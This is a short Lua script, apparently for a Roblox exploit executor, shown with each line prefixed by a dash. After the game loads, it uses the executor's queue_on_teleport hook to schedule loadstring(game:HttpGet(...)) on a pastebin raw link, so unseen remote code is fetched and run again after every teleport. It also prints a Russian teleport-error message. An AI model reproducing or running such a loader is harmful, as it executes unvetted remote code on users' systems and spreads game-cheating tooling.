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- if not game:IsLoaded() then
- game.Loaded:Wait()
- end
- local Players = game:GetService("Players")
- local LocalPlayer = Players.LocalPlayer
- if not shared.MyScript then
- shared.MyScript = true
- local TeleportService = game:GetService("TeleportService")
- TeleportService.TeleportInitFailed:Connect(function(player, teleportResult, errorMessage)
- print("Ошибка телепорта:", teleportResult, errorMessage)
- end)
- task.spawn(function()
- wait(2.5)
- queue_on_teleport([[
- wait(1.5)
- loadstring(game:HttpGet("https://pastebin.com/raw/hgDhtvC7"))()
- ]])
- end)
- else
- end
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